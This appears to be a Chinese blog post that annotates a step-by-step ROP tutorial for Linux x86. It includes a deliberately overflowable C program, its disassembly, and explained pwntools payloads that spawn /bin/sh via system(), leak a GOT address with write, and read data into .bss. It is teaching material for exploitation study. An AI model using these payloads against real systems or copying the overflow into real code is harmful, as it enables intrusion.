zoukankan      html  css  js  c++  java
  • 一步一步学ROP之linux_x86篇

       0x00

        本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇。读者应先阅读这篇文章,遇到问题再来看我这篇文章。

        阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可运行),ASLR(内存地址随机化)。Stack Protector(栈保护),Memory Leak


       0x01

        第一个问题:为什么要构造成”A”*140+ret字符串。这个140是怎么来的呢?

        要回答这个问题,我们须要把level1.c反汇编。level1.c代码例如以下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
     
    void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
    }
     
    int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World
    ", 13);
    }
        使用objdump -S level1反汇编,结果例如以下:

    08048404 <vulnerable_function>:
     8048404:    55                       push   %ebp
     8048405:    89 e5                    mov    %esp,%ebp
     8048407:    81 ec 98 00 00 00        sub    $0x98,%esp //esp-0x98
     804840d:    c7 44 24 08 00 01 00     movl   $0x100,0x8(%esp)//存放第三个參数256
     8048414:    00 
     8048415:    8d 85 78 ff ff ff        lea    -0x88(%ebp),%eax//存放第二个參数,buf的地址
     804841b:    89 44 24 04              mov    %eax,0x4(%esp)
     804841f:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)//存放第一个參数,STDOUT_FILENO
     8048426:    e8 e5 fe ff ff           call   8048310 <read@plt>
     804842b:    c9                       leave  
     804842c:    c3                       ret   
    
    0804842d <main>:
     804842d:    55                       push   %ebp
     804842e:    89 e5                    mov    %esp,%ebp
     8048430:    83 e4 f0                 and    $0xfffffff0,%esp
     8048433:    83 ec 10                 sub    $0x10,%esp
     8048436:    e8 c9 ff ff ff           call   8048404 <vulnerable_function>
     804843b:    c7 44 24 08 0d 00 00     movl   $0xd,0x8(%esp)
     8048442:    00 
     8048443:    c7 44 24 04 30 85 04     movl   $0x8048530,0x4(%esp)
     804844a:    08 
     804844b:    c7 04 24 01 00 00 00     movl   $0x1,(%esp)
     8048452:    e8 e9 fe ff ff           call   8048340 <write@plt>
     8048457:    c9                       leave  
     8048458:    c3                       ret    
     8048459:    90                       nop
     804845a:    90                       nop
     804845b:    90                       nop
     804845c:    90                       nop
     804845d:    90                       nop
     804845e:    90                       nop
     804845f:    90                       nop
        当main函数调用call 8048404 <vulnerable_function>,參考上面的代码凝视,就形成了下图结构:



       0x02

        payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这段代码是为了运行system("/bin/sh"),然后返回到ret继续运行。也就是binshaddr是system的參数。那么为什么这些写能够呢?

        我们先来看8048426: e8 e5 fe ff ff call 8048310 <read@plt>是怎么样取參数的?


        调用read后。依次向堆栈中存储了EIP和EBP。此时假设想取第一个參数。须要用ESP-8。

        同理我们就能够理解 payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这句代码的含义,例如以下图。观察右边的小图


        这样我们就能理解为什么/bin/sh是第一个參数。为什么system("/bin/sh")运行后返回到ret了。


       0x03

        payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)这句话运行的函数是?

        write(STDOUT_FILENO, got_write, 3);


       0x04

        在一步一步学ROP之linux_x64篇一文中,讲到了Memory Leak,这段代码的含义是什么呢?

    payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
        从标准输入读取/bin/sh到.bss段,相应的代码read(STDIN_FILENO, bss_addr, 8)。

        然后返回到pppt,运行pop pop pop ret。也就是绕过p32(0) + p32(bss_addr) + p32(8),运行system_addr,之后的流程就和原来一致了。

  • 相关阅读:
    axios 配置
    vue 配置App.js
    vue 挂载方式
    常用的js
    vuex
    vue搭建环境
    JS中 toString() & valueOf()
    html-webpack-plugin 中使用 title选项设置模版中的值无效
    webpack为什么加载不了css?
    visual studio for mac 安装文件
  • 原文地址:https://www.cnblogs.com/gccbuaa/p/7360059.html
Copyright © 2011-2022 走看看